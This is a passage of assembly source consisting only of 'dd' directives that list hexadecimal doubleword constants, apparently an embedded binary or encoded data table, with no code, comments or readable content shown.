2B2BFDD2h, 0D0BC8C74h, 422F07F2h, 0E9DAB789h dd 0A87B3619h, 1EECCCABh, 0AF81521Fh, 127FE6CBh, 0D9AA6759h dd 7C2B06E9h, 0E4EC8772h, 785A2D09h, 38EBB683h, 9E6B4233h dd 3F01FAD7h, 0BE917142h, 4E3FDCC3h, 0F2DFA269h, 794A07F9h dd 0D4CBA689h, 0BE613607h, 7BDECFB5h, 0AE9B5D1Eh, 2F1AEDD5h dd 0CFAE7665h, 5E330AC1h, 0DDEBB217h, 28761326h, 27CBFDC5h dd 9E4D230Bh, 2403F0B0h, 0BEB46654h, 4E1D93CEh, 0DEAFAC60h dd 724A38F9h, 9BFEBBA2h, 0BA683625h, 2EDC6B2h, 0BE835201h dd 1A07C6C2h, 0CCAA4137h, 6D2B06D4h, 0EEDA9F76h, 1B7E3B22h dd 408A3A74h, 0FB77728Fh, 0C687B3D7h, 0B1FC276Bh, 7A4AF9B7h dd 0BEB5B057h, 807FBF1Ch, 0F1EB9333h, 0B85D0237h, 4E6F3638h dd 0F6C3317h, 0AFEA7CABh, 28CF5302h, 6C9C6B43h, 9E1E769Ah dd 0E40C4327h, 18FB9A7h, 5F8ADC49h, 0CE6FF3E2h, 4B7B0CE7h dd 7B4F93B7h, 0BBB62D6Fh, 61FBF897h, 0F17348E7h, 0EB0F3B37h dd 79F5A3D7h, 0A3EF5905h, 5B7FEA69h, 0F89E135Dh, 0DFCA9CD7h dd 0D4AFB322h, 27AABC3Eh, 0EE8F93C2h, 704357B8h, 0B7A3B5Ah dd 56F3E027h, 6B5F9322h, 0EC0EE007h, 80FD8CC4h, 0DB8A1762h dd 7F80DE77h, 939FA3E4h, 3410CC03h, 6E97062Ch, 24421377h dd 3B5F4066h, 7450B0FFh, 0C3BAC898h, 0E68F93C2h, 0FB3CCBC8h dd 0B45D5BD7h, 5E74FCD8h, 2B0FA66Bh, 0B0AB2382h, 28DAFC1Ah dd 8657C3E7h, 60F0AC88h, 2E5CFC00h, 0CBEF33BFh, 0B6FEDEA7h dd 0AB8F0923h, 0BED2AAB4h, 8BEFEEB9h, 4A6E1736h, 94DE82A7h dd 0BB2A4FD2h, 6F6B34D7h, 0EEC396D8h, 0E91293F7h, 538AE303h dd 0B2F7397h, 0D85242BAh, 810F136Dh, 750A2E38h, 9BEF734Dh dd 7F5F4EF5h, 28CF3937h, 0FC396F43h, 0CBB5A792h, 0DC1F8E67h dd 2B958572h, 0D11F0747h, 21ACEED7h, 24FE6926h, 2F3C6C84h dd 7B5AF6F8h, 4783E3h, 10BFC3E7h, 0BB0C08A7h, 92A2EFBh dd 40EF734Dh, 5B7E8F1Dh, 0A3459837h, 385F6386h, 0EB64D8EFh dd 0BDCC88ECh, 2C8AA796h, 39F4D6A5h, 1C607454h, 50ACD7ACh dd 411BC37Bh, 0D18DB247h, 0FBBA8C68h, 18BF83D2h, 7E845FB3h dd 7BDF96B3h, 216CE47Ch, 317844A0h, 22CFFB37h, 519C60D0h dd 8247AB0Dh, 963F4367h, 9525B2B5h, 38EF568Eh, 7D2926BEh dd 5FFA0367h, 0A20D9BBFh, 0FBE9A592h, 0C8CD8497h, 9BBF2BB2h dd 6A525377h, 3B84AA2Ah, 8172B857h, 0D87FC391h, 0ABC7374Bh dd 3BE6E788h, 672EF317h, 1B3F416Fh, 6A8BBBA3h, 6EE02347h dd 4B2F8647h, 5F72FFACh, 2B4E9793h, 0BBB5B307h, 0B2F777Fh dd 0CFED95E7h, 7EF00477h, 7BDF964Bh, 5C62FA64h, 5B7F82A3h dd 0A9A54266h, 535E09D6h, 0CBAFF317h, 47AABC35h, 0FD8F93C2h dd 0A06BD5C2h, 4F07E787h, 8CFF0326h, 0B6B2748h, 44DFE305h dd 4B195B02h, 5B3A9AE7h, 0FFEC4503h, 114B2897h, 9CBE6157h dd 97EA7CF1h, 0F2CF5302h, 0EB2AA302h, 0B73A0C41h, 963F0352h dd 3CDD97A0h, 7647672Dh, 4B6EB740h, 1BCCA827h, 0D81683DDh dd 0EB8FB3ACh, 5B7F23C7h, 0FF2A3CB5h, 6A0F1342h, 7B9DAB03h dd 0EF9BCC57h, 43EA7CAFh, 0F8CF5301h, 0D47F678h, 49F2F357h dd 25BF4363h, 2D8EA6FDh, 0EE9BAECCh, 528CB397h, 0CBFF96AAh dd 0FA4C93F7h, 3F0D1C51h dd 14A77C57h, 94BFC3E6h, 0EB0E43F3h, 41A123C7h, 4BA92322h dd 0DF708399h, 0ABCF1236h, 4E7F5D07h, 0B52EB5E6h, 5C710A37h dd 0A4049182h, 0B41E6581h, 213E7DFCh, 88A95227h, 1D5F0648h dd 8086E347h, 0D4AA7C56h, 16BFC3E7h, 0AB12F1F2h, 139FC9C7h dd 0CBEF335Bh, 0CE80D0F7h, 0AB8F2527h, 3B5F6FBAh, 342AFC17h dd 0F23F4367h, 6B8FD346h, 0A94F1DC6h, 0CE60E59Eh, 0DBFF0382h dd 87475534h, 3FD0EE3Bh, 0B2F730Eh, 68CAE3DBh, 0E4356FDBh dd 7B9F2F42h, 0EBE29E57h, 665FA387h, 0DFAA7416h, 7F31CF2h dd 0AD38637h, 731FBC19h, 1AFAA783h, 8B1C5DC6h, 3E409CEDh dd 24B8C54Fh, 917E9CB7h, 0BBDFC417h, 0F47D9160h, 0DB8A7F72h dd 0BBCF6077h, 93CFF397h, 0CBEF335Eh, 3508ECE3h, 0CFAE7C5Bh dd 1BCA9C87h, 0EAFB321h, 280937A7h, 210A5A3Eh, 0AA1F6371h dd 4B6DB3BFh, 8DAE52A7h, 0FDA6CE7h, 36DFA331h, 4B347002h dd 528C93E7h, 0B95F0223h, 0EE60F296h, 0CBAF063Bh, 0A45B8720h dd 0EBFA2FA2h, 0BB9C9B87h, 0CBBA849Ah, 0D8C64267h, 3FC99CA4h dd 0BE4D6210h, 2806FE8Bh, 0B48C6C55h, 7C13E7D1h, 0D4BB8D6Eh dd 487300E0h, 0FECDB192h, 8E592719h, 14F6D0B5h, 0B3AA6F39h dd 2910EFD7h, 0FFCF6152h, 5E3811E6h, 0F8C0BB63h, 1B3D4313h dd 6B8F2308h, 896F2347h, 2606CBB8h, 0B88D6A09h, 4A23F2D0h dd 0CBF19A7Fh, 426173FBh, 0EA9F88A4h, 9B763506h, 71EBC9B4h dd 99AA6002h, 694FF087h, 9AFF2607h, 157F4DA7h, 0C182C937h dd 3B710A28h, 19E6A5D1h, 0AE155633h, 4B6FB33Fh, 367E5E27h dd 2B0F8E03h, 0AEA866C1h, 0F42F73D7h, 0DB8A5772h, 0F4E79277h dd 65F59FB3h, 0FEBF86DCh, 0F72683E7h, 81BA3D0Bh, 0C461E2E1h dd 68C860Ah, 5B0903DAh, 69F958F7h, 5E798610h, 7805365Ah dd 5E700367h, 2B0FA027h, 41996AFDh, 0F0D13D1Bh, 545DC256h dd 6E82109Ch, 7BDFB676h, 0A1EF5907h, 0FFEA7CA9h, 28CF5302h dd 3F5747FBh, 8F47D862h, 483F4367h, 948F90B1h, 0BB2AABD2h dd 0B7275BD7h, 0DC17FCD8h, 784F93B7h, 0F480A041h, 9ED073C4h dd 9BFFF66Fh, 14F3629Fh, 88C94B38h, 4610CCA8h, 5B3F90A4h dd 0ABCF18DFh, 7E0C3687h, 0A59DC045h, 1B730F23h, 5E134608h dd 0F1F72307h, 3C6FB3D7h, 0B28D7354h, 6A29E7D9h, 2E20B307h dd 0B6F46DFh, 0AEEB466Eh, 0DA005337h, 637F2E4Ah, 4E663317h dd 5B3FB5E1h, 375AEC66h, 0A85F23B2h, 8BAFF77Fh, 0F68ACE67h dd 328F93EFh, 0CD339ECAh, 9D87B397h, 0BD00FCD1h, 36281670h dd 4B20E347h, 1646D614h, 16BFC3A7h, 0AB1274E2h, 11CBF3C7h dd 99EF5956h, 5B7F81CFh, 9B5AECB7h, 0BE5F23B1h, 0A9DAA9D7h dd 665CEEAh, 1DDD3B7h, 9CAAAE41h, 1F6FF3CAh, 8AAF5371h dd 1FDA6CE5h, 0E3DFA331h, 3D03E668h, 1E79C3A7h, 0EB4F6B3Ah dd 7B934BC7h, 98B83357h, 6834C0E8h, 0E78B3D05h, 0AEA063CBh dd 8BEFC68Bh, 1B382BF4h, 0DE02D3F7h, 0FB5F3B03h, 0B7D23E8Eh dd 33FF4312h, 0D4B065E6h, 0BBDFEFEFh, 45662497h, 0CFFA8DAEh dd 0A7431759h, 0E70A5CC7h, 4EEF7362h, 0BCFB8C67h, 38CF1336h dd 3B5F66EFh, 91A7E17h, 423F037Fh, 5D976E7Ah, 0E1F72307h dd 0C8904C21h, 9BC91F9Ah, 0AF4093B7h, 0BBDFE2C5h, 0ABF9F16h dd 0F3EBC3E7h, 0EB0F5276h, 4E633638h, 0F6E3317h, 5B7F8237h dd 0C11B9867h, 0AEA03187h, 8BEFC50Bh, 6E6683E2h, 7807BBFAh dd 6EE02347h, 4B2F866Bh, 667CE1CCh, 2B0F8EDEh, 36F69607h dd 4B321E12h, 0E4093E7h, 0EB4F657Fh, 0FF906342h, 0CBEF326Ch dd 0D073C32Ch, 24FFEC37h, 7B420A02h, 0C62A3517h, 1A3F035Fh dd 6AE5D39Dh, 6EE0212Dh, 4B2F85C3h, 0D400FBA4h, 2B4E8133h dd 2E527007h, 0B6F6EF2h, 0C8EDD38Dh, 0DD0BC688h, 0BB1AA387h dd 0CB1DB658h, 0E6F283A7h, 0AB8F0EB1h, 87B76B36h, 0E3500CEDh dd 1B3F43F3h, 0E269F8A9h, 44B0773h, 0B5A2B42h, 4F428E27h dd 9A4FD3AAh, 41420B06h, 4FA48C68h, 7B7ED3C3h, 0CF4B587Fh dd 737F62C3h, 0C3CB775Ch, 5B7A6BF7h, 85EA1337h, 6C5F1BB1h dd 0BEFB66E8h, 0DFBC4327h, 6DC815FBh, 7A8AAE67h, 216FF3CAh dd 0DBDE6B27h, 781D93B7h, 8DCF76F8h, 77A273D7h, 64E8D7C3h dd 0AB3A0BE2h, 439B65C7h, 0CB85735Dh, 0A42CD4F7h, 0EBF903A2h dd 0B6B96087h, 0CBB251AAh, 733F2967h, 6B8FD3FBh, 6EE07010h dd 4B2F85C7h, 0DBFF0F1Ah, 0A602E6B7h, 0FBE9ADB2h, 46A2FE97h dd 0B0BF83DFh, 0BA0F39B9h, 0EE60F091h, 0CBAF055Bh, 257F7B24h dd 55448218h, 0D11D60Ah, 861FF357h, 0B4AED95h, 91773B97h dd 897EDCB8h, 0C66650C0h, 31140250h, 0E5645C3Ch, 8D915E8Ah dd 0AFDC73D7h, 22543460h, 0EB9AAC24h, 0FB9FE3F1h, 8BFA44EAh dd 710B82A7h, 0ABBA235Fh, 87CA9C87h, 0BAFB322h, 5B070EDAh dd 7AFBD3F7h, 0E676A680h, 4B6FB397h, 5E390327h, 2B0FABFAh dd 45890A07h, 8EE88C68h, 9BFFD667h, 6B0F5377h, 7B9B619Ah dd 0EBA0395Ah, 3510ECC9h, 8BA97C17h, 5E390AEBh, 0ABE0D336h dd 7E522A13h, 4BE0A7D7h, 9E734624h, 3F0EC1B5h, 0D1F22242h dd 0B6FB397h, 0C8FFAC27h, 6E421EE2h, 0FAD8E395h, 856A3705h dd 2995AEE6h, 0A58A5F32h, 281AEFD3h, 8BB67F44h, 4B2F02EFh dd 0E5CED36Eh, 635A6303h, 1FECB687h, 0D76B4D26h, 2A1BC0F7h dd 0B5966749h, 66FA9D0h, 0DA88E90Ah, 624710E3h, 0FA9FA489h dd 8F2F3F1Bh, 1ABFDAA6h, 0A5CF5739h, 2F17E4CEh, 0C4A9331Bh dd 493943F5h, 0EFC1967Eh, 3B766314h, 1FE6B280h, 0AC152E7Dh dd 2E1DD6BFh, 0BE8D6207h, 5E20EA97h, 0C9B9C32Bh, 6F4116FEh dd 0D89FFC94h, 0CA6A3E18h, 5BEBEAE7h, 0BFCF403Eh, 7A1AEECEh dd 8CBB5A17h, 5A3343F4h, 868E9663h, 0CF46AE6Dh, 5CDD9BB8h dd 5D0B0A07h, 0FA9556C7h, 0B5066900h, 0ECCB97D7h, 1086B437h dd 0AD3B60ADh, 21284F7h, 87C30F15h, 85EDD05h, 0F5AC324Dh dd 0E3CCD1F2h, 0BDD79DEFh, 3B5F6368h, 8BAFF317h, 1B3F4367h dd 6B8FD3F7h, 0FB1F2347h, 4B6FB3D7h, 0DBFF0327h, 2B4F93B7h dd 0BBDFE307h, 0B2F7397h, 9BBFC3E7h, 0EB0F5377h, 7B9FA3C7h dd 0CBEF3357h, 5B7F83A7h, 0ABCF1337h, 3B5F6387h, 8BAFF317h dd 0BEBC2367h, 6BCFEA51h, 51BAA047h, 4B6FF3EEh, 0CFBCB428h dd 2457C03Ah, 0B8D9A8B0h, 2F6BF847h, 97FDE8C3h, 0A9344A05h dd 0F08BD0CFh, 89C42715h, 0FDEA0AABh, 22CF530Eh, 7B66C902h dd 8AA1817h, 0C2DD6BA5h, 6B8B1196h, 0D9E8A6CFh, 2F87B397h dd 0B3FF0327h, 2B4F9397h, 99FB668Ah, 327673D7h, 18B3B7FFh dd 1CED57B7h, 42112638h, 3C2C3317h, 0ACF2807Eh, 48CF5315h dd 0C72F9C97h, 632CF398h, 92C9A163h, 2BADF76Ah, 0FB25A047h dd 7944B6A3h, 56EF7124h, 70176FF9h, 0BBE56059h, 39D077E3h dd 0E940C00Ch, 1458BB67h, 0B5B45C38h, 0F245BE7Ch, 582783E7h dd 240C277Ch, 7B66F102h, 52A3417h, 1B3F035Eh, 838FD3F7h dd 0FB1F237Bh, 72E1365Ch, 0AE170367h, 0C3B06C40h, 0BBDFE31Fh dd 32A1CE14h, 0EEBFC3A7h, 4B92DA7Fh, 909FE3E5h, 4562CCCBh dd 987FC39Eh, 925D96B8h, 0AED663C7h, 8BEFCA99h, 1B3F408Fh dd 0A846E0F7h, 0FB9FB0CCh, 0A33DB3D7h, 2400FDCAh, 12E506B4h dd 6DDCE347h, 0B230914h, 9AB847E8h, 918C5377h, 0FF90A3D7h dd 0CBEF33AAh, 0B73C12Ch, 5431DBDFh, 91DA6078h, 88AFB32Eh dd 13B513A1h, 1F8F2A77h, 0D5E6A35Eh, 0A02FB0A3h, 0DAB788D6h dd 0F4907236h, 425E3CD8h dd 0B633FD3h, 0B0E62F92h, 11F6D0BFh, 7B282CC8h, 4A893357h dd 694C7DDFh, 0AB649638h, 0B8096387h, 8EDAF32Dh, 0F02F09ECh dd 688558F5h, 89F772B6h, 48904C29h, 9BC6A992h, 0EBCA3EB7h dd 3FD0187Fh, 0B2F7313h, 0A2157618h, 35F5337h, 84605D92h dd 0F245B654h, 0DEF083E7h, 0AB8F2A9Dh, 687B6784h, 0B8AD3394h dd 13894CBCh, 0A20FC114h, 0DFDE7067h, 5746B7F3h, 0FFF32A03h dd 0C2A4D3ECh, 6CD01886h, 355BAE2Ch, 0DE173866h, 0DD7B8819h dd 40C65846h, 0E59BCCF6h, 79A97826h, 8DBBBF82h, 0D2CC9806h dd 95DB004Fh, 0F242B8E6h, 7DFB20AFh, 0C459D8C6h, 451B52F2h dd 0E4CFF8A6h, 2D3B7292h, 824D76F8h, 0E27473D7h, 64403C96h dd 0FFCDD029h, 84614C2Eh, 0A1EEF0A8h, 4E97DBA3h, 2330ECC1h dd 7B7BB212h, 0BA179517h, 0DBDD417Fh, 898DD013h, 0FD758821h dd 0BE955B8Fh, 197CFCD8h, 419E14BFh, 5637BB02h, 8BD08C62h dd 90CCC01Dh, 6E0D03C7h, 7BDF8716h, 0A1C8D8FDh, 0DBD5DBCFh dd 0B3BA10CDh, 0F6B77237h, 33500CE2h, 1B3F4366h, 66FB0173h dd 31E1C396h, 4E84453Ch, 0DBFF039Fh, 94AD3837h, 87626EC4h dd 0FC2F33A3h, 0DB8BF262h, 0EB0F5377h, 0CB9CD747h, 4E189937h dd 5B3FB796h, 0AACF1334h, 3BA9E788h, 0DE17F317h, 0B0D7AFECh dd 0FD325A5Ch, 4B1F637Eh, 0BCC4193Fh, 9BCB32A2h, 2B4F93B7h dd 21626A06h, 7F2F33AEh, 0AA3A34ACh, 0EB0F1343h, 0C39DA3C7h dd 0FD105730h, 3CC786D2h, 0E19853h, 3B5FDBE1h, 88DB5871h dd 0EC951ED7h, 2BBBE272h, 0FB1F2347h, 26E20BDFh, 0CD8A032Fh dd 1F7E1640h, 0BBDFE347h, 88977797h, 0EFBFCB22h, 68CEB72h dd 3434A33Fh, 0FFDEB6A0h, 5B7C83E7h, 0AFBB1337h, 90F58A37h dd 0B239769Ch, 0D4B44327h, 23061BDCh, 0CA9AD4BBh, 486FF3E3h dd 0AFFF0327h, 4F282BE8h, 656D5F8h, 0B6F4A09h, 9BBF7B4Ch dd 53A43710h, 7B9F854Eh, 3552DBFCh, 7BCF7C58h, 5433DCDFh dd 5D668078h, 0EDBA0CAFh, 9094D2CCh, 2BBBE262h, 0CCDD447h dd 4B6FB015h, 33EB7627h, 0D4B06D20h, 1237FCB7h, 6DD08C6Bh dd 0FDAA3C5Fh, 60A4C2DCh, 0E51A2808h, 0E0EF736Eh, 0A7370A6Fh dd 9FFE96C0h, 3B5B63C7h, 99DBF317h, 0E5FF6ADFh, 6337783Fh dd 501B5787h, 0A097C66Fh, 5E08A840h, 2B0FA786h, 0BBDFE30Fh dd 0B6AF39E2h, 9BFFF7C8h, 534E2777h, 0B2B6BBEEh, 0FFC4965Dh dd 0BFBF83E7h, 806A1934h, 905F23B3h, 10542A7h, 5B0B6CE2h dd 2B3F79F7h, 0CF34A64Dh, 2DC5B397h, 2C02E19Fh, 6B7BA232h dd 0BBDFF307h, 0BB280797h, 23D969AEh, 4069AF02h, 48354B77h dd 76669897h, 5B3FBA25h, 9FFE96C0h, 3B7F63C7h, 82DAF317h dd 9E351BD7h, 6BCFE7DEh, 7AA745EDh, 7AEA4417h, 9BFF4313h dd 5F4F93B7h, 931B6304h, 3F06D69Dh, 30D9C3A7h, 0D289EEFEh dd 8C34A387h, 8BDB02D2h, 5B7F83A7h, 1BC66677h, 12DA61D7h dd 21AFB323h, 2F0EC690h, 6B0FD3B7h, 0F06A2347h, 0CE650B67h dd 0DBBF370Dh, 4D72781Dh, 4CC7D2BFh, 4B1B4212h, 9BBEC3E7h dd 5B0D2777h, 513AA9EEh, 0BEF7363h, 0FE758043h, 0AB8F271Dh dd 8339C8E1h, 0E580396h, 1B7F7756h, 6B8FD1F7h, 33AB2132h dd 7F4516DDh, 70990367h, 12ED2E3Eh, 8767E347h, 0A02F73B3h dd 0AF8E4610h, 0EB075337h, 17EBA3C7h, 0FFDEB6A0h, 5F7F83E7h dd 0A0BA1337h, 0BE55DB37h, 8BEFC73Ch, 0EC72A8CDh, 2BBBE272h dd 0FB172347h, 2D7EC6D7h, 0D11F809Fh, 6B7BB812h, 88748507h dd 1EC4D957h, 83967B81h, 0DF24F67Dh, 9F5FA387h, 0E04A3954h dd 3D7FC393h, 9A4AE49Ch, 3B5F23B3h, 0EDAFF307h, 6FFFC2DFh dd 634B53F4h, 0CF34864Dh, 0E009B397h, 0F47AB528h, 804FD383h dd 8FEE66F0h, 0B2F73D7h, 92CB83E7h, 6E0D03C7h, 7BDF97EEh dd 0FA6AC4FDh, 5B7FC393h, 1BCF1317h, 3F5D1601h, 75E07E13h dd 2F16E6EDh, 0E606D3B7h, 0FB5F1ACDh, 0B7EF18B1h, 6BF87622h dd 0D40013B7h, 3E284947h, 0B6F47A6h, 9BBF83E7h, 0DA69EB11h dd 522BA1B2h, 0D35F9831h, 6F5406ADh, 4B0F1377h, 0B3EFC984h dd 0BF9E76E0h, 9B3F4327h, 69FAD3F7h, 5E95A5F7h, 4B2F87FEh dd 277FA841h, 9B48E6B2h, 44906307h, 8ED8D9D7h, 9BFFF7D6h dd 0EB0E5377h, 3B2FA8B2h, 0FFC6B65Dh, 0B0D583E7h, 28777538h dd 12FA6947h, 0EDAFB323h, 0B13EF3CCh, 5FBE5600h, 0FB1F2307h dd 641AB3D5h, 0EFCE86D0h, 2B4F93F7h, 0A1AAE303h, 8E25B327h dd 9BFFF7CCh, 0DF3FF6FDh, 9B5EA387h, 0AD575547h, 5BCF2826h dd 0EB7F1BDCh, 0F74E68Dh, 7C05F357h, 5B0B72E2h, 638FD3F7h dd 9D0F5647h, 4187306Fh, 9BCB2982h, 9BE4F5B7h, 0BD70806h dd 21AA79DFh, 31BF83D3h, 0DF3ED680h, 7B9FA387h, 0BE5E3347h dd 0E319A6D2h, 0EC5EBB4h, 3B1F57ADh, 4B9C5871h, 91826ACDh dd 9C8F93CEh, 0BB2B12C2h, 6B6FB3D7h, 6AE07627h, 4D5478C0h dd 0B1C7EABFh, 4B1B5932h, 985B03E7h, 0DF25F67Dh, 0D0F9A387h dd 0F2658E7Eh, 9AF583E7h, 9245B6BDh, 903963C7h, 0EADABA7h dd 1B7F774Eh, 5A0A245Dh, 0F81F6373h, 446EB3D7h, 0DBFF84A3h dd 4F282BB7h, 3654C58Ch, 0B6F47A6h, 9BBF3266h, 2AF85177h dd 789FA3C7h, 0AC573622h, 0F05104C3h, 0ABCF138Fh, 4EF40587h dd 179511h, 0A3942582h, 6D00B493h, 9DDF10ECh, 7AEA447Ch dd 0DBFF4313h, 5E4E93B7h, 8A5A1447h, 0B2F33A3h, 0EFB7C3E7h dd 66B73551h, 4A1A54ABh, 0CBEF7363h, 547D83A7h, 4AC5D2A2h dd 0F2DBC8E1h, 33C9FB62h, 0B0594743h, 633FC01Ch, 9D11C8EDh dd 4932EB6Fh, 9BCB28A2h, 0C0E4F5B7h, 11165304h, 3F1EF660h dd 9BBFC3A7h, 0CB7BD377h, 0FEB5A477h, 0CBAF077Eh, 56656366h dd 0ABEB1BBEh, 0F76C685h, 6F6FF357h, 1FFBC364h, 0C1EE635Ch dd 1BE09B21h, 7F4616DDh, 70990367h, 1F7E1640h, 0BBFFE347h dd 585B7397h, 0AF8E4610h, 0EB0F5337h, 76EB83C7h, 0CBECF4A0h dd 5E0B83A7h, 40658387h, 0B098E874h, 0CB96719Ah, 92FE6867h dd 333F2FB6h, 0CF36A64Dh, 0BCC5B397h, 9BCB32A2h, 6B4F93B7h dd 0DDD39707h, 1EC232Fh, 0DB8BEA62h, 8D05B877h, 717F5C7Fh dd 8BDB1AF2h, 0ACD4E5A7h, 0EBFB22B2h, 3B5F6087h, 7CDC8716h dd 5B0B72E2h, 6B8FD3F7h, 0C125767h, 4B6FB010h, 6BFA7727h dd 0D8A43927h, 3E542C8Ch, 0B6F4A0Dh, 0D3360BCCh, 1CC6608Bh dd 3BAB9242h, 4BEF3357h, 0D671F6A7h, 0EBFB3AB2h, 7B57E987h dd 0F8AC0A97h, 0D63BCE9Fh, 6B9FF7B3h, 4B17C386h, 4D8C185Ch dd 1BCEBB41h, 932938D1h, 3B76388h, 92F7397h, 0C314A506h dd 9EC6D6DCh, 4A27C5C1h, 7B445597h, 0DEF22964h, 0AB8F270Bh dd 0F6EE670h, 8BAFF357h, 1D4A5367h, 3377F8A0h, 0A8943AACh dd 609798FFh, 797288F7h, 2A4FD38Eh, 0FBE66192h, 80167297h dd 12BBE7A3h, 0AB1F3ECAh, 0FD2228C7h, 0E0EF736Eh, 1B460122h dd 9A4AE437h, 7B5F23B3h, 0FFAFF317h, 0B0E7B465h, 3D8FD735h dd 55A2A010h, 4B6FF3EEh, 0DA268728h, 26A793B7h, 0F0DFE307h dd 4E6121D2h, 0B58DF0ABh, 0EB431F33h, 4E173638h, 4E663317h dd 5B3FBA19h, 97979864h, 48A0BB84h, 0BFEC783Fh, 0E4C9BF8Fh dd 0CD1A5808h, 0A01F637Eh, 0C263F1D4h, 9BC6C1A2h, 230D90B7h dd 8219668Eh, 78A473D7h, 1B0C3CCFh, 30F5377h, 84605512h dd 0F2498EDCh, 0B32983E7h, 5430E5FEh, 2F9F60Ch, 0C124F357h dd 1775406Fh, 820C1DDCh, 9B972C42h, 446FB3D6h, 0DBFE59A3h dd 81FA90B7h, 0B8DFA33Eh dd 4B160122h, 73836FE7h, 0EBADD678h, 3D12A3C7h, 0B96A1853h dd 587FC39Eh, 2D274331h, 0B8A09C71h, 0CB9655AAh, 104A4367h dd 648394CCh, 0FB1E38C4h, 726358D7h, 9BC6A5B2h, 26CA9CB7h dd 0B8DFE306h, 4B160112h, 0A33EA5E7h, 6E007688h, 7B9FA33Bh dd 0E0ED73DCh, 0B32FB7E4h, 5430E57Eh, 2F9DEBEh, 0EA0F357h dd 1B3F4383h, 522556F4h, 7E1C2307h, 4B2F8AA5h, 9CD403ACh dd 0E6CD9CBBh, 80DFE307h, 88207BD0h, 9BBFC323h, 0E80D93F4h dd 0FE9CB780h, 0CBAF0A25h, 0EE80D3F5h, 0AB8F2A89h, 0E17F678h dd 0EF5F357h, 0ACBA4CA7h, 828FD3F7h, 0FB1F23DBh, 0CE604CEBh dd 0DBFF03B3h, 245AAD37h, 0BBDF6882h, 0A69F897h, 0CB8B80CCh dd 14FA8B9Fh, 0DD229A38h, 0BEEF736Eh, 0F1FA80D0h, 0A8CF530Eh dd 7B661102h, 412A7A17h, 903F035Eh, 0A90AE8F7h, 891F637Eh dd 8DEA88DFh, 0A9FF431Eh, 2B4FAEDEh, 8CAD9307h, 0B2F6C7Fh dd 67F14EE7h, 0E92492FCh, 408FE1C4h, 8BD6F9D2h, 0D873F6A7h dd 9A3003F3h, 277B2708h, 48B41876h, 22ADC6E8h, 0E0EFD3B7h dd 0BB2651F2h, 0BD195BD7h, 729EFCD8h, 0AB4F93B7h, 0FCF4ED72h dd 3026019Bh, 19B0CBA0h, 14F0AC4Bh, 0C91AAC8Eh, 4010CCA9h dd 0FCFEA79Bh, 0ABCF3706h, 44A09C78h, 0C12ECFFCh, 1B3F2343h dd 0ABBC9D17h, 7C3B2FCCh, 0B561D52h, 0EE468E27h, 284F9393h dd 0FBE69182h, 0AE8A1597h, 9879E8A9h, 0A9244735h, 80D965CBh dd 996EF4BFh, 5E7F83A7h, 22CF1337h, 65009FC1h, 0C51A7ED4h dd 4D3F035Fh, 5EF34608h, 39C2307h, 0F0EBBC28h, 52FF0327h dd 6B76C132h, 0EDDF8907h, 3E9BE668h, 5B3AC3A7h, 0EBABD778h dd 0BBB4A3C7h, 0C8856307h, 337EE9F7h, 6BCF1337h, 67CA9CD1h dd 8AFB322h, 9F30BC9Fh, 6B8FD6C9h, 0C249A6CEh, 0C6E2B397h dd 0DBBF3A7Dh, 122D063Ah, 0E98EE347h, 0F47F73FDh, 0DB8A4772h dd 14F7D077h, 7E9327C8h, 0CB853357h, 62293658h, 3E301377h dd 3B1F5607h, 84500B94h, 1B3BB6E3h, 10A5AF7h, 0C81F637Eh dd 1AACB01Eh, 0DF955277h, 7DFA6CE6h, 44DFA33Eh, 4B1A1302h dd 947F46E7h, 0EB0B82F3h, 0F25690C7h, 8BD65DD2h, 0A2ED2A7h dd 0A4CF0C5Fh, 0AEA03387h, 8BEFC6B7h, 9F3083E2h, 6B8FD77Dh dd 0C26DA6CEh, 0F3ACB397h, 0DBFF6AEAh, 0DC77D83Ch, 0FBEBD282h dd 0B2F7397h, 98B9B6F7h, 0AB1F3EF2h, 784D90C7h, 3C1EC496h dd 21FA0A46h, 13CF530Eh, 3B5F47BCh, 8893B89Ch, 5B2F2EE2h dd 685DE0F7h, 0CEED486h, 3DEA3A36h, 18FF431Eh, 2D0424B8h dd 36EA00FEh, 0BC206BC4h, 4BBCD7A4h, 0C3CE383Eh, 411E73C4h dd 0A5864408h, 0D862F75Eh, 0D9CE1F4Dh, 714E867h, 88BBB19Ch dd 5FB25325h, 0B2782CBFh, 7E24E264h, 4B2F8ABDh, 0FFAB88E4h dd 0A48FA0A7h, 0BBDF5B85h, 0C4A4B097h, 2632C80Ch, 0EB4F6B39h dd 4840283Bh, 0AAD39F9Eh, 214385D5h, 8BE31140h, 4F035F2Dh dd 0FF81CFFBh, 6E3F7FBAh, 0E046301Fh, 0A35A1E46h, 401BB392h dd 89BC501Ah, 18CA9CB7h, 30201CF8h, 42784E94h, 1FB080A9h dd 14F0AC51h, 2EDCF4FAh, 0D06B3C19h, 66807C58h, 99FC5060h dd 0C44FE788h, 0DB920CE8h, 14701734h, 9470D673h, 13C410B8h dd 0B4904DFAh, 25078728h, 0F97C6C48h, 0BBDFF5EFh, 0F4409B97h dd 9B573C18h, 0B60F5377h, 54154E46h, 0F6063317h, 3F7F83A4h dd 1E4421C8h, 3B1F5AF5h, 0ED8D7A73h, 41727DE6h, 68A956F8h dd 0A5942347h, 2DB1B0EBh, 9EAF38A6h, 285916B8h, 0F828E307h dd 0B0F7381h, 923ACCE7h, 1D0F5374h, 0F09DFF84h, 4FE01319h dd 5B7F815Bh, 524E1FD4h, 3B5F6286h, 89417518h, 0D6D74367h dd 64702C09h, 0FB1DC0C5h, 5B2538D7h, 63F34924h, 2B4E93B7h dd 51310B56h, 9E1F8C68h, 9BFFF7C8h, 5E3F73C6h, 7BDF97F7h dd 211133Dh, 0B36BFBFFh, 5430F9E3h, 0AF50B102h, 0BA4D20D5h dd 5B0B72F2h, 36A38F7h, 0FB1F2341h, 4B69DB8Eh, 33A70327h dd 0D4B07903h, 8FF6668Dh, 8FA973D7h, 0DB8BEACDh, 0C28ADB77h dd 999FE3F3h, 0FA6AC4B7h, 537FC393h, 0DECF1337h, 10E2E38Eh dd 8AAFB323h, 9EC88613h, 6BCFE7C6h, 0FA1F2344h, 0F6EFA8A3h dd 0DBBF370Eh, 0ABFFE7B2h, 0FBEBC9BAh, 0AC5B7697h, 0AF947E67h dd 9F0A5337h, 4A1A5459h, 0CBEF7363h, 2FFF83A7h, 8272933Eh dd 395F23B3h, 2E2C7A60h, 1B7F7AC9h, 9F003BF7h, 3BF7DCB8h dd 0A3904C2Ah, 0DBFF0102h, 12390E3Ch, 6537E347h, 4D08C6Bh dd 9BBDC863h, 99BAD877h, 